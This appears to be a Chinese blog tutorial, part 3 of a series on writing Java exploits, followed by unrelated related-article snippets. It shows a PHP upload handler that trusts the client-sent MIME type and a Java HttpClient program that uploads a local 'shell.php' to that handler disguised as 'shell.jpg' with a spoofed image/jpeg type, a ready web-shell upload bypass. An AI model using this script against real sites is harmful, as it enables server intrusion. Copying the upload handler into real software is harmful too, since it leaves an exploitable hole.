JAVA-Exploit编写(3)--httpcomponents库使用文件上传

server/2025/1/19 1:32:53/

目录

1.依赖安装

2. upload文件代码

3.文件上传代码


1.依赖安装

文件上传处需要使用httpcomponents库,需要在Maven的pom.xml文件中导入依赖

java"><dependency><groupId>org.apache.httpcomponents</groupId><artifactId>httpmime</artifactId><version>4.5.8</version>
</dependency>

2. upload文件代码

<?php
if (($_FILES["file"]["type"] == "image/gif" || $_FILES["file"]["type"] == "image/jpeg" || $_FILES["file"]["type"] == "image/png") && $_FILES["file"]["size"] < 20000) {if ($_FILES["file"]["error"] > 0) {echo "Return Code: " . $_FILES["file"]["error"] . "<br />";echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";} else {if (file_exists("uploads/" . $_FILES["file"]["name"])) {echo $_FILES["file"]["name"] . " already exists. ";} else {move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $_FILES["file"]["name"]);echo "Stored in: " . "uploads/" . $_FILES["file"]["name"];}}
} else {echo "Invalid file";
}
?>

3.文件上传代码

        还是在之前的基础上,增加了一个文件上传的文件类,请求方式通过POST方式,使用try-catch处理异常.

java">package com.deger;import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.ContentType;
import org.apache.http.entity.mime.MultipartEntityBuilder;
import org.apache.http.entity.mime.content.FileBody;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.util.EntityUtils;import java.io.File;
import java.io.IOException;public class HttpClientUpload {public static void main(String[] args){System.out.println(DoUpload("http://127.0.0.1/upload.php"));}public static String DoUpload(String url){String res = null;CloseableHttpClient httpClient = null;CloseableHttpResponse response = null;httpClient = HttpClients.createDefault();//上传的文件的本地路径File file = new File("D:\\phpstudy_pro\\WWW\\shell.php");MultipartEntityBuilder builder = MultipartEntityBuilder.create();
//        builder.addPart("file", new FileBody(file, ContentType.create("image/jpeg"), file.getName()));//更改上传文件的名称builder.addPart("file", new FileBody(file, ContentType.create("image/jpeg"), "shell.jpg"));HttpPost httpPost = new HttpPost(url);httpPost.setEntity(builder.build());try {response = httpClient.execute(httpPost);if (response.getStatusLine().getStatusCode() == 200) {res = EntityUtils.toString(response.getEntity());}} catch (IOException e) {throw new RuntimeException(e);}finally {try {httpClient.close();response.close();} catch (IOException e) {e.printStackTrace();}}return res;}
}


http://www.ppmy.cn/server/159502.html

相关文章

用LLM做测试驱动开发:有趣又高效的尝试

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

基于 Python 的毕设选题管理系统设计与实现

标题:基于 Python 的毕设选题管理系统设计与实现 内容:1.摘要 本文介绍了一个基于 Python 的毕设选题管理系统的设计与实现。该系统旨在解决传统毕设选题管理方式中存在的效率低下、信息不透明等问题。通过使用 Python 语言和相关技术&#xff0c;实现了对毕设选题的信息化管理…

2019-Android-高级面试题总结-从java语言到AIDL使用与原理

4.通过线程池 线程池的工作原理&#xff1a;线程池可以减少创建和销毁线程的次数&#xff0c;从而减少系统资源的消耗&#xff0c;当一个任务提交到线程池时 a. 首先判断核心线程池中的线程是否已经满了&#xff0c;如果没满&#xff0c;则创建一个核心线程执行任务&#xff0…

DATACOM-华为数通解决方案SDN、iMaster

华为数通解决方案 四大引擎华为数通解决方案园区网络WLAN数据中心广域承载SD-WAN 四大引擎 引擎设备举例举例设备介绍园区网络解决方案AirEngineAirEngine 5761S-11NetEngineNetEngine40E - X16A超宽 2T 单板&#xff1a;业界领先的超宽 2T 单板&#xff0c;可向 400G 端口、4T…

【微信小程序】5|我的页面 | 我的咖啡店-综合实训

我的页面 引言 本文将详细解析如何实现一个包含登录注册、多个功能模块跳转以及特定功能展示的“我的”页面。我们将使用 Vant Weapp 组件库来简化开发过程&#xff0c;并确保代码的高级性和条理性。 1. 项目结构 首先&#xff0c;确保你的项目结构如下所示&#xff1a; - …

Kubernetes 部署 RabbitMQ 集群教程

本文介绍如何在 Kubernetes 中部署 RabbitMQ 集群&#xff0c;包含从命名空间创建到配置 NFS 存储的详细步骤。 参考文档&#xff1a; RabbitMQ 集群部署NFS StorageClass 创建 部署步骤 1. 创建命名空间 kubectl create ns rabbitmq2. 创建 RBAC 权限 创建文件 rabbitmq…

9分布式微服务架构

分布式微服务架构不光需要从架构上的设计优化系统&#xff0c;还要在编码上优化达到最好的效果 中心化的设计 中心化的设计比较简单&#xff0c;分布式集群中的角色分为两种&#xff0c;管理者和被管理者。 在一个分布式或者集群中&#xff0c;管理者角色管理着其他处理实际…

Spring Boot 中实现图片文件压缩

图片文件压缩是 Web 应用中常见的需求&#xff0c;尤其是在处理用户上传或动态生成的图片时。压缩图片不仅可以减少服务器的存储空间&#xff0c;还能大幅提高网页加载速度和用户体验。在本文中&#xff0c;我们将探讨如何在 Spring Boot 中实现图片压缩&#xff0c;并提供接口…